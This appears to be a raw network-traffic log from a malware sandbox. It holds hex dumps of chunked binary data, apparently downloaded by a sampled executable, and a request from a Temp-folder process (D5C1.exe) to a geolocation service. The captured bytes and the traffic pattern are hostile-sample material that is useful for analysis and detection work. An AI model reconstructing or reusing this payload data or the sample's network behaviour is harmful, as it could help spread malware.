2023-07-27 16:27:35 UTC	1136	IN	Data Raw: 32 30 30 30 0d 0a fb 7a 9c 5e 2d 8d 52 04 5d 50 ae cc 95 71 ab 88 36 dc 4b 48 9b 6f db b6 a6 14 68 ed 05 b4 b5 4d 7b 70 9f 17 ec 70 2a ca 85 89 b0 ea 11 8f 93 21 93 b8 b2 c4 47 63 25 ac 6e a6 a2 9e dc e5 3a dd 49 d5 ca 5a 2f 02 ed d8 1a 92 5c 13 f4 a2 7c 48 e8 4f 6b 59 70 39 b3 6f 85 ef 11 ac e2 67 8a 35 ba 64 e6 89 70 84 0f 44 78 93 f5 a8 89 95 b0 6b 09 f8 e4 b8 07 cb d4 76 6a 39 70 8f e4 4c 14 44 01 85 07 b8 f4 47 5a e7 d0 da 4d 69 d4 ce 28 52 38 e3 1f 19 e9 4b 57 b0 bd d2 2d 6e e8 a7 6b 5a d5 0e 80 ce f2 5e 4a dc f7 89 72 9b bc a6 79 f0 4a 63 f4 5a 67 be cc e2 fd a5 ef 00 f9 a5 20 5e cf 7f 20 d5 51 6c b2 4e ca 61 5d 5c 61 4f 16 00 cb 88 5d 32 69 60 be 44 14 d1 b9 61 82 4f 63 6b 80 b4 3d a9 40 9e 0e 03 78 cd 0c b6 b6 30 8e 6f 27 37 07 44 1b d8 3e a5 bd Data Ascii: 2000z^-R]Pq6KHohM{pp*!Gc%n:IZ/\\|HOkYp9og5dpDxkvj9pLDGZMi(R8KW-nkZ^JryJcZg ^ QlNa]\aO]2i`DaOck=@x0o'7D>
2023-07-27 16:27:35 UTC	1144	IN	Data Raw: 6a bf 72 3c ab 4b Data Ascii: jr<K
2023-07-27 16:27:35 UTC	1144	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1144	IN	Data Raw: 32 30 30 30 0d 0a 2b 95 86 3a ec ce ae 54 f7 a8 17 e4 6c 94 e2 b2 2b 9a c8 13 8e 99 cf 44 c6 a2 b5 a2 6f be e7 74 81 14 f4 ab 6a 28 86 9f 88 a5 85 05 de 7e 05 ab c2 91 8f 1f 14 9d d1 69 99 b2 9b 6a 4b 8f 13 6b 9b 7d 75 9a 15 7a 30 76 08 85 51 26 8e b8 94 7f 90 a6 e8 a6 44 2b aa 27 17 3b 59 c1 42 e7 9b ad b4 05 6d fb 57 27 da 2f 7b de 58 c8 71 ee 32 aa e1 bf eb f1 85 2a 58 b5 a5 79 14 12 c7 5b 55 22 53 82 3d 6b 89 bb 31 37 07 e5 84 a5 c9 0d 94 a1 8e c2 4f 72 6a 74 e0 53 d2 79 62 49 ba d6 60 09 15 c4 bd 20 b9 e1 8c b2 2e 59 ac 78 9f c1 f1 44 19 c1 63 0c 69 f8 f5 33 58 41 c6 96 00 f1 0b 5e aa d2 65 16 2e ac 0c ff 5e e9 f7 24 27 d8 35 fa 2a 01 24 22 14 e9 45 e5 bd 0c f6 cf 99 b0 63 5b 18 9f 97 98 66 89 9e ff 4a e8 16 85 03 ed 13 f2 16 52 4d 94 36 18 b0 af 27 Data Ascii: 2000+:Tl+Dotj(~ijKk}uz0vQ&D+';YBmW'/{Xq2Xy[U"S=k17OrjtSybI` .YxDci3XA^e.^$'5$"Ec[fJRM6'
2023-07-27 16:27:35 UTC	1152	IN	Data Raw: 35 e6 90 54 2a b9 Data Ascii: 5T*
2023-07-27 16:27:35 UTC	1152	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1152	IN	Data Raw: 31 66 66 38 0d 0a ba 83 fd 4b e6 f8 d4 1e 0a 5c f8 10 d8 b8 ae 71 6b 57 9b e2 46 a6 73 09 ab dd 29 e0 d9 42 14 4b 36 af 85 e6 cf a8 f8 76 b6 28 a4 6e eb 64 a1 5b c5 d0 e1 31 20 0a cf b4 1a 5a a0 24 a9 3a 7a 1f 4c fc 13 ed 58 bb 2b 8e a6 95 5d 16 57 b6 cf c2 11 b4 c9 cf 25 cd 0e 80 0b fc 46 fa 12 a5 6d a8 6a 45 31 48 31 a3 18 1d 66 24 20 95 0b 7c a8 ea 9c 74 92 5e 92 b1 7b 27 0f 70 4b f4 f7 33 57 9e 11 e5 03 7a 52 73 fb 74 c6 51 cc 40 f5 86 1d f2 22 a1 5d 67 6f f6 81 23 8b c3 db 8c 6a 90 85 1b d8 c7 e7 17 67 d4 58 14 26 c1 36 40 41 25 a0 66 ff 2c 91 6d 30 6e f7 77 1b 26 69 2b d2 08 81 18 24 97 7b 63 2a cd 25 22 07 b8 a5 67 e7 98 3d 16 31 31 66 69 a6 10 5e cb e3 7e ed 58 68 e9 16 46 2d 9d 12 f8 d4 98 1f 82 18 ec c8 42 41 6c 5f e4 a5 6c 8d bb 8c 3f a1 63 2e Data Ascii: 1ff8K\qkWFs)BK6v(nd[1 Z$:zLX+]W%FmjE1H1f$ \|t^{'pK3WzRstQ@"]go#jgX&6@A%f,m0nw&i+${c*%"g=11fi^~XhF-BAl_l?c.
2023-07-27 16:27:35 UTC	1160	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-07-27 16:27:35 UTC	1160	IN	Data Raw: 71 99 42 d0 e2 35 b6 63 e3 eb 88 b8 7d 66 f7 53 8d 05 6d b4 86 af 3b e0 60 37 55 0e 44 99 8a bf c2 b9 2f 99 b5 00 df 71 96 53 94 7b 4e d2 dc 61 65 71 50 4c fd 4f 7f cd eb 9c 1a 15 d3 df 9b f4 25 29 99 53 3b aa aa ce 03 9f b0 e7 d0 ed 78 be d8 53 ac 39 ad 35 e8 05 27 61 e8 ff 65 11 4f 92 8f aa 1e 4f 63 11 27 1f 96 e2 f7 36 c8 2f 7c 31 e5 af 08 03 de 91 5f b1 4f 9c 6d 54 ae 71 c7 3e 87 bf 71 91 43 71 fa 90 ca 48 16 e0 4e e3 98 5b 3e 54 08 49 bf 11 97 ed 81 96 44 a8 02 7c e0 bd 94 d0 bc 04 c0 38 b7 2a b7 88 8e 36 66 c9 11 1f 25 92 68 d7 dc 5d 67 d9 ca 09 2f d8 ee 85 ad ba ca 8b 7d bb 7a 05 94 17 61 68 00 7e 59 0a c9 d2 ca 08 8d 6e be eb fc 4e ef 2b a8 05 9e 62 08 1e 03 be b2 d5 60 e3 40 4f 65 6a 7d 47 ba cc 02 f1 0e 7a ba 09 8e 4a af 13 e7 59 00 b3 a7 e5 f7 Data Ascii: qB5c}fSm;`7UD/qS{NaeqPLO%)S;xS95'aeOOc'6/\|1_OmTq>qCqHN[>TID\|8*6f%h]g/}zah~YnN+b`@Oej}GzJY
2023-07-27 16:27:35 UTC	1168	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1168	IN	Data Raw: 32 30 30 30 0d 0a 9f 53 31 c4 db ff f7 d6 e6 88 78 b4 68 95 18 c1 87 95 a4 6c 89 61 35 5e 1d 30 b9 88 89 f3 0f fe c3 de 07 83 8b 43 9c 37 ee d1 ed 85 98 2a 23 94 71 c1 79 e2 eb 15 d1 f0 4e 0b 5a ce 5c a3 55 f2 71 0f eb 9b 18 24 32 53 f2 c0 92 87 e8 46 7e 2b a4 ae a8 6d 83 e3 e8 5d d5 2b ef b6 c8 9d 05 73 74 dd 9f 27 d4 bf a2 39 68 4c 7a e4 63 e5 1d ff 57 18 ce 39 54 85 b1 52 75 0c b8 15 3f 66 76 e0 f7 db 50 fd 01 45 28 63 31 3f 39 26 4e c4 bd ac 23 ce 60 e2 a8 ca 56 85 69 e3 c9 af 31 4d c7 84 a2 e3 84 af 04 9c bf 5f 94 9c fb b7 ff cc 30 02 b9 f0 f5 ad ff 2c ee 3b 70 85 e2 2b 76 c6 f7 46 0f a9 25 a2 22 f6 42 4a 16 91 75 5f 51 9f 60 f5 5f 4e 23 59 c9 10 ee d6 01 03 02 7e d8 ea cd 6f 41 83 ea c0 c0 c4 e0 7f f9 e7 a3 54 00 cd 0d 65 a1 62 23 22 7e 8a da a7 dc Data Ascii: 2000S1xhla5^0C7*#qyNZ\Uq$2SF~+m]+st'9hLzcW9TRu?fvPE(c1?9&N#`Vi1M_0,;p+vF%"BJu_Q`_N#Y~oATeb#"~
2023-07-27 16:27:35 UTC	1176	IN	Data Raw: d6 6e de 15 18 18 Data Ascii: n
2023-07-27 16:27:35 UTC	1176	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1176	IN	Data Raw: 32 30 30 30 0d 0a 2b b4 c8 73 b1 d5 88 7e 3a 67 31 66 3d ac dd 6f 3b 18 01 5e 59 88 62 18 44 ab dd 39 fe 46 18 d3 19 55 44 b3 62 6e 4a 10 d5 ad 91 d5 83 80 06 86 63 86 b0 f5 fc b0 ce 35 e3 1a 72 a9 77 78 70 39 3a 5c f5 6a 2b ea fa 5b 8d 93 7a 37 d4 28 e2 2a e0 d8 64 14 78 91 b1 cd fa 8b e5 aa a9 d6 a6 1f e7 3f dc 41 29 64 e5 74 2d f3 81 f3 83 7b bf 77 10 0e ee 4c e2 4c a4 52 7c 2c 44 12 91 3a 7c 80 b2 10 c9 c8 41 cb d5 18 9e 60 9f f4 a7 f6 b1 2f 6a 4c 3a 5e b3 89 4e 29 ca fb 53 53 81 c9 61 22 5b 08 64 55 b1 8e 42 09 3f 50 84 12 a0 c7 31 a4 fb 20 ed ac 60 7e 15 de 3c 8f 77 b4 89 84 34 b3 be 0f 0c 9b 6f 91 1b 05 d0 7f 0c f0 27 58 5f 66 58 4f 3f 1c e2 db fe 42 eb 9e 38 94 65 1d 8d be 8a ff 6e 88 2a 29 fa 6f fb 9f 4c 33 85 06 4d 94 6c 61 fc 99 0e bd c7 ce f4 Data Ascii: 2000+s~:g1f=o;^YbD9FUDbnJc5rwxp9:\j+[z7(dx?A)dt-{wLLR\|,D:\|A`/jL:^N)SSa"[dUB?P1 `~<w4o'X_fXO?B8en)oL3Mla
2023-07-27 16:27:35 UTC	1184	IN	Data Raw: ea 10 63 d0 38 e4 Data Ascii: c8
2023-07-27 16:27:35 UTC	1184	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1184	IN	Data Raw: 32 30 30 30 0d 0a c2 22 5b 1e 41 42 4d 03 69 19 5f af b1 b0 5a c3 84 0e fb d5 01 9b 5d c5 e2 0c 1a 56 e5 ee 4d 7e c7 03 64 23 4c 0c 93 0b 38 36 4a 2d 64 a9 fc 40 36 f0 90 cf 97 26 2a 40 40 76 92 4c a3 22 6f 6f 18 8a 8b 8d 82 81 9e 97 01 9b f1 2f df b3 a6 ff cc f3 58 84 25 a0 75 9f 01 49 6e 8d a8 10 f8 15 81 d8 a5 ff 5a 80 9d f4 12 5c 07 dd f4 bb 05 63 52 c1 10 b6 e4 b0 8d 42 ce 93 c7 4c b5 07 1f ab b7 3a 2d d3 c6 a9 96 77 eb 33 68 84 35 80 6a 44 d9 51 69 13 9b 1a f7 f9 8b a0 78 a9 b5 9c 55 73 48 d8 14 39 86 8e 2b fb c9 fa 7f 09 34 a3 85 3f 99 7f 2a ff 85 c4 c6 77 3e 08 fe 84 90 05 d4 d1 f3 62 5b ba 82 b8 45 db dc 8c e6 fa 73 d6 fd c9 1f 0a ad 18 e8 1d ce 69 4e 65 30 d5 26 e8 57 5f 23 60 96 98 8b 25 74 bd ac f0 e1 74 0c 90 6a 6c d4 e3 67 eb f6 4d ec 7c 2c Data Ascii: 2000"[ABMi_Z]VM~d#L86J-d@6&@@vL"oo/X%uInZ\cRBL:-w3h5jDQixUsH9+4?w>b[EsiNe0&W_#`%ttjlgM\|,
2023-07-27 16:27:35 UTC	1192	IN	Data Raw: 44 3a 20 2e bd 04 Data Ascii: D: .
2023-07-27 16:27:35 UTC	1192	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1192	IN	Data Raw: 32 30 30 30 0d 0a 41 2d 07 ff fa d1 2e ea 34 8f 02 97 a4 2e f8 ed 7c f4 00 13 01 13 96 c0 9f 0c 60 fe 65 63 ca 1b 93 ec 43 03 a1 cb 1a 56 7f cd fd 70 28 ad 86 12 15 91 c8 40 05 27 29 e7 54 c0 df 54 20 b3 7a 55 23 ad cf 64 5a d9 a1 da e4 98 fa b6 a5 21 f0 8a d8 15 c2 15 d0 17 f0 29 a4 d2 14 f3 4b d7 25 f8 63 c3 86 93 2d 45 1a 2c db 54 49 65 27 a9 22 dc 65 39 23 6a 7b 54 7d 03 5b 08 a1 c9 62 a1 30 da 54 44 14 8a ad 6d e1 be 22 66 5a 69 96 4e fe 7d ae 58 ac 40 ac 11 5f 69 a8 be 8b 18 a5 fc f6 15 45 43 22 c0 4e 60 c2 f6 6f 84 62 a7 ba 73 6a 96 62 62 5d a7 17 ef 8f f0 cf e5 1a d2 84 21 e2 c6 1a 5a c6 c7 03 ad 53 75 59 a5 c9 fc b2 9a ce 19 5e e2 e8 1e 32 fa ce f6 94 dc 8c bc af 10 21 71 57 39 80 35 2f c4 30 f7 71 fa 80 4f e6 a7 82 91 14 80 ba f6 1d 93 9a fe 42 Data Ascii: 2000A-.4.\|`ecCVp(@')TT zU#dZ!)K%c-E,TIe'"e9#j{T}[b0TDm"fZiN}X@_iEC"N`obsjbb]!ZSuY^2!qW95/0qOB
2023-07-27 16:27:35 UTC	1200	IN	Data Raw: 7d 7e 84 7c 7c 7f Data Ascii: }~\|\|
2023-07-27 16:27:35 UTC	1200	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1200	IN	Data Raw: 32 30 30 30 0d 0a 83 82 83 84 82 7d 7b 7a 7f 7e 7a 7e 79 7b 7a 7b 7e 80 81 7b 81 85 7f 7a 81 7c 7e 7c 83 7e 81 7f 00 00 00 00 7e 7e 79 81 83 80 7e 7a 7d 85 7b 80 82 7f 80 7c 85 7d 84 7f 7f 83 82 7a 7c 7c 7b 84 7e 7f 83 7c 83 7e 7d 80 81 81 84 7d 80 80 7d 82 80 7f 7b 7b 7d 7f 7e 7e 7f 85 82 83 81 7b 80 7e 81 7f 7c 7f 7f 7c 7f 7d 80 7b 7a 7c 7c 85 80 82 7e 84 7c 7d 83 84 82 7d 83 7f 7a 7f 82 7b 80 7f 7c 80 7d 83 84 7e 7c 7e 83 81 80 7e 7f 7e 7d 80 7a 7b 7f 7d 83 83 82 82 7c 7f 7b 85 82 80 7e 84 83 83 7f 82 7f 7d 7c 82 84 81 84 7c 82 81 7d 82 7e 83 7f 82 7f 82 7e 7b 7d 7f 7c 7d 85 7e 7d 83 7f 7f 80 83 85 7d 83 81 82 81 83 7d 82 7f 7b 84 83 86 83 82 83 7e 85 82 84 84 86 7c 7d 84 84 7c 85 84 84 80 83 7e 7c 7e 81 7d 7b 7b 81 84 7b 7f 7f 7a 83 84 81 7c 80 7e 7d Data Ascii: 2000}{z~z~y{z{~{z\|~\|~~~y~z}{\|}z\|\|{~\|~}}}{{}~~{~\|\|}{z\|\|~\|}}z{\|}~\|~~~}z{}\|{~}\|\|}~~{}\|}~}}}{~\|}\|~\|~}{{{z\|~}
2023-07-27 16:27:35 UTC	1208	IN	Data Raw: 7c 7c 7e 79 82 80 Data Ascii: \|\|~y
2023-07-27 16:27:35 UTC	1208	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1208	IN	Data Raw: 32 30 30 30 0d 0a 82 7f 83 79 84 7a 7e 80 80 83 7d 80 7f 79 7f 83 81 7f 7c 7f 7e 7d 85 7f 80 85 7d 7c 7b 82 7c 7e 7e 7c 7c 7f 82 84 83 79 83 7e 7c 82 80 7e 81 7d 7e 7c 80 82 7f 83 82 81 85 7d 7f 85 83 80 82 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7e 81 81 81 7f 7c 81 80 80 82 83 7d 82 7c 7f 7d 7f 7d 7b 83 84 81 7b 83 7d 7f 7f 7f 7c 7f 82 83 83 7d 80 83 7a 79 7c 82 82 81 80 7e 7f 81 80 7d 7f 7d 7e 80 7b 85 85 7a 7e 7d 83 80 7d 7e 7d 7c 7b 82 7f 82 84 84 80 7c 7c 7e 80 80 7d 81 84 7b 7e 7c 81 84 84 7f 80 81 81 82 81 81 80 7f 82 80 7e 7b 80 7b 7b 82 7c 7b 7c 7b 7e 7c 81 7a 7b 7d 81 81 81 86 81 7b 83 82 85 81 85 7f 7e 83 82 7e 81 7f 7c 7e 84 81 7f 7f 7e 7b 80 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000yz~}y\|~}}\|{\|~~\|\|y~\|~}~\|}~\|}\|}}{{}\|}zy\|~}}~{z~}}~}\|{\|\|~}{~\|~{{{\|{\|{~\|z{}{~~\|~~{{
2023-07-27 16:27:35 UTC	1216	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:35 UTC	1216	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1216	IN	Data Raw: 31 66 66 38 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 7f 7f 80 81 80 7e 7f 81 80 80 7e 7e 7f 7e 80 7f 7f 7f 7e 81 7f 81 7f 7f 7f 80 81 81 7e 80 7f 80 80 81 80 81 81 81 81 7e 7f 80 7f 7f 80 81 81 7f 81 80 80 7f 7f 80 7f 7e 81 7f 7f 80 80 81 80 7f 80 80 80 81 7e 7f 7f 7e 80 81 7f 80 7e 7f 81 7f 7e 7e 7e 81 7e 7f 7f 80 81 80 81 7f 80 81 7e 7e 80 7f 7f 81 7f 81 7f 7f 7f 81 80 7e 7e 80 7f 81 81 80 80 81 80 7e 7f 81 7e 81 7f 80 80 80 7e 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 7f 80 7f 80 7f 7f 7e 81 81 80 7f 81 7e 7f 80 80 80 80 7f 7e 7f 80 81 80 7f 80 7f 7f 7f 7f 80 80 7f 80 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 1ff8~~~~~~~~~~~~~~~~~~~~~~~~~
2023-07-27 16:27:35 UTC	1224	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-07-27 16:27:35 UTC	1224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 ff ff ff 00 00 00 00 00 00 ff ff 00 Data Ascii:
2023-07-27 16:27:35 UTC	1232	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1232	IN	Data Raw: 32 30 30 30 0d 0a 7e 7f 7f 7f 80 81 81 7f 7e 7f 7e 81 7f 80 7f 81 7f 7e 80 80 80 7e 81 80 7f 7f 80 81 7f 7f 7f 80 80 81 7f 80 7f 80 7e 7f 7f 80 80 7f 80 7e 7f 7f 80 80 80 7e 80 80 7f 81 7f 81 80 80 81 7f 7e 80 00 00 00 00 00 00 00 00 80 81 7f 7f 7f 80 7e 80 80 81 81 80 7f 81 80 80 80 80 7e 80 7f 7f 7e 7e 7f 81 7e 7f 81 80 7f 80 80 7f 7f 7f 81 7f 80 80 00 00 00 00 00 00 00 00 00 00 00 00 80 81 81 7e 81 7f 7e 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 03 ac 41 c0 03 ac 41 c0 03 ac 41 00 00 ac 41 00 0f ac 41 00 01 ac 41 00 00 ac 41 00 01 ac 41 00 01 ac 41 00 03 ac 41 00 00 ac 41 00 00 ac 41 80 Data Ascii: 2000~~~~~~~~~~~~~~~~AAAAAAAAAAAA
2023-07-27 16:27:35 UTC	1240	IN	Data Raw: 7e 00 7e 7e 7e 00 Data Ascii: ~~~~
2023-07-27 16:27:35 UTC	1240	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1240	IN	Data Raw: 32 30 30 30 0d 0a 80 80 7e 00 80 81 7f 00 7f 7e 7f 00 7e 7f 80 00 7f 7e 81 00 81 81 7f 00 7f 7e 80 00 80 7f 7e 00 7e 80 7f 00 7e 80 81 00 7e 80 81 00 81 7f 81 00 7f 7e 81 00 7f 81 80 00 7e 7f 80 00 80 80 81 00 80 80 80 00 80 7e 81 00 81 81 80 00 7f 81 7e 00 7e 80 80 00 81 80 7e 00 80 80 7f 00 80 7e 81 00 7f 81 81 00 7f 7e 7e 00 80 7f 80 00 80 80 81 00 80 7f 81 00 80 7f 7f 00 80 7e 80 00 7f 7f 80 00 80 80 81 00 80 80 80 00 80 7e 81 00 7f 7e 7e 00 7f 81 7f 00 7f 81 7f 00 7f 80 7f 00 7f 81 7f 00 7f 7e 81 00 7f 7f 7f 00 80 80 7f 00 7f 7f 80 00 81 81 80 00 7e 80 81 00 81 80 81 00 81 81 80 00 80 80 7e 00 7f 80 7f 00 7e 7f 7f 00 7e 7f 7f 00 7f 81 7f 00 81 7e 7e 00 7f 7f 7f 00 7f 81 81 00 81 7f 80 00 7f 7e 80 00 81 80 81 00 81 7f 7f 00 80 7e 80 00 80 80 80 00 80 Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-07-27 16:27:35 UTC	1248	IN	Data Raw: 81 7e 7e 80 7f 80 Data Ascii: ~~
2023-07-27 16:27:35 UTC	1248	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1248	IN	Data Raw: 32 30 30 30 0d 0a 80 7e 7e 7f 7f 7f 7e 7f 80 7f 7f 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7e 7e 7e 7f 7f 80 7f 80 80 7f 7f 80 80 81 80 7f 80 7f 80 81 80 81 81 80 7e 81 7f 7f 7f 7f 80 80 80 80 7f 81 7f 80 81 80 81 80 81 80 7f 7f 80 7e 7e 7e 80 80 7f 80 7f 7f 7f 80 80 7f 7e 7e 80 80 7e 80 7f 7e 80 7f 80 7e 7e 7e 81 80 7f 80 7e 7e 7e 7f 7f 7e 7e 7f 80 81 7f 80 80 81 7e 80 81 80 80 7f 80 80 81 7e 80 80 7f 7f 7e 7e 7e 80 7f 7f 80 7f 7f 7f 7f 7e 7f 7f 80 7f 81 7f 7f 7f 81 80 7f 80 81 80 7f 80 81 80 7f 81 7f 81 80 7f 7f 80 7f 7f 7f 7f 80 7f 7e 81 80 7e 81 80 7f 7f 80 7f 81 81 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7e 81 7e 7f 80 7e 81 80 7f 7f 80 7f 80 7f 80 81 7f Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-07-27 16:27:35 UTC	1256	IN	Data Raw: 7f 80 80 7f 80 7e Data Ascii: ~
2023-07-27 16:27:35 UTC	1256	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1256	IN	Data Raw: 32 30 30 30 0d 0a 7f 80 7f 80 80 7e 80 7e 80 7f 7e 81 81 7f 7e 7e 81 81 7f 7f 7f 80 80 7e 7e 81 81 81 81 80 80 80 81 80 80 7f 7f 7e 7f 80 80 80 7f 80 80 80 7f 81 7f 7f 81 80 7e 7f 7f 7f 7e 7f 80 81 80 7f 80 81 81 7f 80 81 00 00 00 00 00 00 00 00 00 00 00 00 80 7e 7f 7f 80 7e 81 7e 81 81 81 7f 81 7e 80 80 80 7e 80 81 7f 80 81 80 80 80 7f 80 80 7e 7e 81 7f 80 80 7f 7f 7e 7e 7f 7e 80 81 80 7e 7e 7f 80 80 7e 7f 81 81 80 80 81 81 7e 7f 80 7f 81 81 7f 7f 7f 7e 81 80 7f 7f 7f 80 7f 80 81 80 7e 7f 7f 7f 7f 7e 80 00 00 00 00 00 00 00 00 00 00 00 00 7f 7f 7f 80 80 80 80 7e 7e 7f 7f 7f 7f 7e 7f 7e 7f 7f 81 7f 7f 7f 7f 80 7f 7e 80 81 81 7f 7f 7f 81 80 7f 80 80 7f 7e 81 7e 80 7f 81 80 7f 80 7f 80 80 7f 7f 80 7f 7f 80 81 7f 7f 81 7f 80 80 80 80 7f 81 7f 80 80 7f 80 7f Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-07-27 16:27:35 UTC	1264	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:35 UTC	1264	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1264	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:27:35 UTC	1272	IN	Data Raw: 6d 00 69 00 6d 00 Data Ascii: mim
2023-07-27 16:27:35 UTC	1272	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:35 UTC	1272	IN	Data Raw: 38 34 38 0d 0a 69 00 6b 00 65 00 20 00 74 00 69 00 79 00 69 00 76 00 20 00 64 00 65 00 74 00 69 00 72 00 20 00 72 00 65 00 67 00 6f 00 20 00 74 00 69 00 63 00 69 00 78 00 00 00 2c 00 5a 00 69 00 66 00 65 00 78 00 69 00 20 00 79 00 69 00 6c 00 75 00 63 00 65 00 20 00 73 00 6f 00 64 00 65 00 6d 00 65 00 66 00 69 00 77 00 75 00 73 00 20 00 6a 00 69 00 6c 00 6f 00 70 00 75 00 73 00 75 00 20 00 72 00 6f 00 70 00 69 00 63 00 61 00 7a 00 6f 00 73 00 06 00 4b 00 6f 00 72 00 61 00 62 00 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 37 00 43 00 69 00 6e 00 6f 00 6b 00 75 00 20 00 6e 00 69 00 6a 00 20 00 66 00 75 00 79 00 61 00 74 00 61 00 66 00 20 00 64 00 6f 00 6d 00 65 00 20 00 Data Ascii: 848ike tiyiv detir rego ticix,Zifexi yiluce sodemefiwus jilopusu ropicazosKorabo7Cinoku nij fuyataf dome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49857	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D5C1.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:27:46 UTC	1274	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-07-27 16:27:46 UTC	1275	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 27 Jul 2023 16:27:46 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
